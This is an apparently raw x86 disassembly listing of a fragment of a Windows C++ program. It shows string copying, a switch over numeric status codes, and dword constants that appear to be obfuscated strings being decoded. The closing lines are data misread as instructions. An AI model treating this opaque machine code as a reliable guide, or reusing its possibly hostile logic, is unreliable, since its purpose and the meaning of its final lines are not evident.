mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a4c8
sub ecx, esi
push ecx
push edx
mov ecx, 0x478704
call fcn.004038d0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x28
jb 0x40a519
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a520
sub ecx, esi
push ecx
push edx
mov ecx, 0x4786d4
call fcn.004038d0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0xb8], 0
je 0x40a5dd
sub esp, 0x18
mov word [ebp - 0x1d0], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1cf]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004063e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x29
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402850
push esi
call fcn.00412a20
add esp, 0x1c
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x64]
push eax
call fcn.0040da20
add esp, 0x34
mov ecx, 0x478734
push eax
call fcn.00407750
lea ecx, [ebp - 0x64]
call fcn.0040ac00
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0xd0], 0
je 0x40a67f
sub esp, 0x18
mov word [ebp - 0x1d0], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1cf]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004063e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x2a
sub esp, 0x18
add eax, 0xc0
mov ecx, esp
push eax
call fcn.00402850
push esi
call fcn.00412a20
add esp, 0x1c
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x64]
push eax
call fcn.0040da20
add esp, 0x34
mov ecx, 0x478740
push eax
call fcn.00407750
lea ecx, [ebp - 0x64]
call fcn.0040ac00
mov eax, dword [ebp - 0x1dc]
mov dword [0x47877c], 0xf018b3
jmp 0x40a689
mov dword [0x47877c], 0
push 0xa
push 0
sub esp, 0x18
add eax, 0x108
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x2b
call fcn.0040dc70
add esp, 0xc
mov dword [0x478780], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0x130], 0
lea edx, [eax + 0x120]
je 0x40a72d
sub esp, 0x18
mov ecx, esp
push edx
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2c
jb 0x40a701
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a706
sub ecx, esi
push ecx
push edx
mov ecx, 0x478764
call fcn.004038d0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
add eax, 0x138
cmp dword [eax + 0x10], 0
je 0x40a783
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2d
jb 0x40a75d
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a762
sub ecx, esi
push ecx
push edx
mov ecx, 0x47874c
call fcn.004038d0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004017f0
lea eax, [ebp - 0x48]
mov byte [0x478784], 1
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0xd7c3dfec
mov word [ebp - 0x28], 0x100
call fcn.004077d0
mov esi, eax
cmp esi, 0x478788
je 0x40a7df
mov ecx, 0x478788
call fcn.004017f0
movups xmm0, xmmword [esi]
movups xmmword [0x478788], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x478798], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004017f0
jmp 0x40a7f0
mov byte [0x478785], 1
mov eax, dword [ebp - 0xc4]
cmp eax, 0x10
jb 0x40958c
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40a822
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40a822
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.0045e420
add esp, 8
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
lea ecx, [ebp - 0x1dc]
mov byte [0x478784], 1
call fcn.0040ac00
jmp 0x40aa92
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov byte [0x478784], 1
mov ecx, esp
mov byte [0x47888c], 1
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
mov ecx, 0x4788a8
push eax
call fcn.004076e0
lea ecx, [ebp - 0x48]
call fcn.004017f0
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
cmp eax, 0xbbd
jg 0x40a9d5
je 0x40a98c
cmp eax, 0x41c
jg 0x40a985
je case.0x4095d9.701
sub eax, 0x3e9
je case.0x4095d9.637
sub eax, 0xa
jne case.0x4095d9.637
push 0x4788f0
lea ecx, [ebp - 0xc0]
call fcn.00402850
cmp dword [0x47891c], 0x10
lea eax, [ebp - 0xc0]
push dword [0x478918]
mov ecx, 0x478908
cmovae ecx, dword [0x478908]
cmp dword [ebp - 0xac], 0x10
push ecx
cmovae eax, dword [ebp - 0xc0]
push dword [ebp - 0xb0]
push eax
call fcn.00406830
add esp, 0x10
mov byte [ebp - 0x1c9], al
lea ecx, [ebp - 0xc0]
call fcn.004017f0
cmp byte [ebp - 0x1c9], 0
jne 0x40956b
mov edx, dword [ebp - 0x1dc]
add edx, 0x18
mov byte [0x478784], 0
cmp dword [edx + 0x14], 0x10
jb 0x40a959
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a960
sub ecx, esi
push ecx
push edx
mov ecx, 0x4787a0
call fcn.004038d0
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
cmp eax, 0xbbc
jne case.0x4095d9.637
mov edx, dword [ebp - 0x1dc]
add edx, 0x18
mov byte [0x478784], 0
cmp dword [edx + 0x14], 0x10
jb 0x40a9a4
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a9b0
sub ecx, esi
push ecx
push edx
mov ecx, 0x4787a0
call fcn.004038d0
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
cmp eax, 0xd1f
je 0x40956b
cmp eax, 0x19b4
je 0x40aa2a
cmp eax, 0x2719
je 0x40a9fa
mov byte [0x478784], 0
jmp 0x40956b
lea ecx, [ebp - 0x68]
mov byte [0x478784], 0
mov dword [ebp - 0x68], 0xd7c5dee6
mov dword [ebp - 0x64], 0xdad4dac1
mov dword [ebp - 0x60], 0xc8cbfd97
mov dword [ebp - 0x5c], 0x100ced4
call fcn.0040b680
jmp 0x40957c
lea ecx, [ebp - 0x1dc]
mov word [0x478784], 0x100
call fcn.0040ac00
jmp 0x40aa92
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0045e42e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x462c5c
call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__
push str.stoi_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__
push ebx
test al, 64
add al, ah
xchg ebp, eax
inc eax
add ah, dl
mov eax, dword [0xa8d60040]
inc eax
add byte [eax + ebp*4], bh
inc eax
add dh, ch
test eax, 0x5000040
add eax, 0x5050505
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84017413
add eax, 84215045
add eax, 84083973
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84214787
add eax, 84083717
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, -872217339
int3